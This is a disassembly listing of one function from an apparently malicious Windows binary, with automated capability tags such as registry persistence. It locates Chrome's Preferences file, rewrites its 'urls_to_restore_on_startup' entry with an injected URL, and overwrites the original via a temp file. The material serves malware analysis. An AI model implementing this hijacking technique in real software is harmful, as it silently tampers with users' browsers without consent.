Function at 0x40a818
Capabilities:
Copy file
Delete file
Persist via run registry key
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffff3c8
push ebx
push esi
push edi
lea esi, [ebp - 0x838]
mov eax, 0x4c03fc
call fcn.0048c270
cmp dword [ebp + 8], 0
jne 0x40a852
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
mov eax, edx
jmp 0x40abfc
mov word [ebp - 0x24], 8
push esi
lea edi, [ebp - 0x438]
mov esi, 0x4b6ac0
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop esi
xor ebx, ebx
mov word [ebp - 0x24], 8
push esi
mov edi, esi
mov esi, 0x4b6ec1
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop esi
inc ebx
mov word [ebp - 0x24], 8
push ebx
push str._TEMP_ud_06d.tmp
push 0x400
push esi
call fcn.0048ebac
add esp, 0x10
lea eax, [ebp - 0x438]
push 0x400
push eax
push esi
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
mov word [ebp - 0x24], 0x14
lea edx, [ebp - 0x438]
lea eax, [ebp - 4]
call fcn.00497ebc
inc dword [ebp - 0x18]
mov eax, dword [eax]
call fcn.0043d63c
xor edx, edx
mov dl, al
lea eax, [ebp - 4]
cmp edx, 1
mov edx, 2
sbb ecx, ecx
neg ecx
push ecx
dec dword [ebp - 0x18]
call fcn.00498000
pop ecx
test cl, cl
jne 0x40a8f2
jmp 0x40a874
mov word [ebp - 0x24], 8
xor ebx, ebx
lea edi, [ebp - 0xc38]
mov esi, 0x4b72c2
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xc38]
push 0x400
push eax
push str._LOCALAPPDATA_GoogleChromeUser_DataDefaultPreferences
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
mov word [ebp - 0x24], 0x20
lea edx, [ebp - 0xc38]
lea eax, [ebp - 8]
call fcn.00497ebc
inc dword [ebp - 0x18]
mov eax, dword [eax]
call fcn.0043d63c
xor edx, edx
mov dl, al
lea eax, [ebp - 8]
cmp edx, 1
mov edx, 2
sbb ecx, ecx
neg ecx
push ecx
dec dword [ebp - 0x18]
call fcn.00498000
pop ecx
test cl, cl
je 0x40aa13
push 0x400
lea eax, [ebp - 0xc38]
push eax
push str._APPDATA_GoogleChromeUser_DataDefaultPreferences
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
mov word [ebp - 0x24], 0x2c
lea edx, [ebp - 0xc38]
lea eax, [ebp - 0xc]
call fcn.00497ebc
inc dword [ebp - 0x18]
mov eax, dword [eax]
call fcn.0043d63c
xor edx, edx
mov dl, al
lea eax, [ebp - 0xc]
cmp edx, 1
mov edx, 2
sbb ecx, ecx
neg ecx
push ecx
dec dword [ebp - 0x18]
call fcn.00498000
pop ecx
test cl, cl
je 0x40aa13
push 0x400
lea eax, [ebp - 0xc38]
push eax
push 0x4c0159
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push SysReAllocStringLen
call fcn.00411534
add esp, 0x14
cmp byte [ebp - 0xc38], 0
je 0x40aa13
push 0x400
lea edx, [ebp - 0xc38]
push edx
call fcn.00412194
add esp, 8
lea ecx, [ebp - 0xc38]
push 0x400
push 0x4c00b6
push ecx
call fcn.00411af8
add esp, 0xc
mov word [ebp - 0x24], 0x38
lea edx, [ebp - 0xc38]
lea eax, [ebp - 0x10]
call fcn.00497ebc
inc dword [ebp - 0x18]
mov eax, dword [eax]
call fcn.0043d63c
push eax
dec dword [ebp - 0x18]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00498000
pop ecx
test cl, cl
je 0x40abdf
push 0x4c0167
lea eax, [ebp - 0xc38]
push eax
call fcn.0048ded0
add esp, 8
mov dword [ebp - 0x38], eax
mov word [ebp - 0x24], 8
cmp dword [ebp - 0x38], 0
je 0x40abba
push 0x4c016a
lea edx, [ebp - 0x438]
push edx
call fcn.0048ded0
add esp, 8
mov esi, eax
test esi, esi
je 0x40abb0
push esi
mov esi, 0x4b76c3
lea edi, [ebp - 0x1c38]
mov ecx, 0x400
rep movsd dword es:[edi], dword [esi]
pop esi
jmp 0x40ab89
push str.urls_to_restore_on_startup
lea eax, [ebp - 0x1c38]
push eax
call fcn.0048bf69
add esp, 8
test eax, eax
je 0x40ab69
xor edi, edi
mov word [ebp - 0x24], 8
lea ebx, [ebp - 0x1c38]
jmp 0x40ab50
xor eax, eax
mov al, byte [ebx]
cmp eax, 0x5b
jne 0x40ab4e
mov byte [ebx + 1], 0
push 0x1000
push 0x4c0189
lea edx, [ebp - 0x1c38]
push edx
call fcn.00411af8
add esp, 0xc
push 0x1000
mov ecx, dword [ebp + 8]
push ecx
lea eax, [ebp - 0x1c38]
push eax
call fcn.00411af8
add esp, 0xc
lea edx, [ebp - 0x1c38]
push 0x1000
push str.____r_n
push edx
call fcn.00411af8
add esp, 0xc
push esi
lea ecx, [ebp - 0x1c38]
push ecx
call fcn.0048be70
pop ecx
push eax
push 1
lea eax, [ebp - 0x1c38]
push eax
call fcn.0048e2b0
add esp, 0x10
jmp 0x40ab65
inc edi
inc ebx
lea edx, [ebp - 0x1c38]
push edx
call fcn.0048be70
pop ecx
cmp edi, eax
jb 0x40aad5
mov bl, 1
jmp 0x40ab89
push esi
lea eax, [ebp - 0x1c38]
push eax
call fcn.0048be70
pop ecx
push eax
push 1
lea edx, [ebp - 0x1c38]
push edx
call fcn.0048e2b0
add esp, 0x10
mov ecx, dword [ebp - 0x38]
lea eax, [ebp - 0x1c38]
push ecx
push 0x1000
push eax
call fcn.0048db58
add esp, 0xc
test eax, eax
jne 0x40aaa9
push esi
call fcn.0048da28
pop ecx
mov edx, dword [ebp - 0x38]
push edx
call fcn.0048da28
pop ecx
test bl, bl
je 0x40abd3
push 0
lea ecx, [ebp - 0xc38]
push ecx
lea eax, [ebp - 0x438]
push eax
call sub.KERNEL32.DLL_CopyFileA
lea edx, [ebp - 0x438]
push edx
call sub.KERNEL32.DLL_DeleteFileA
mov word [ebp - 0x24], 0
jmp 0x40abf2
mov ecx, dword [ebp - 0x34]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret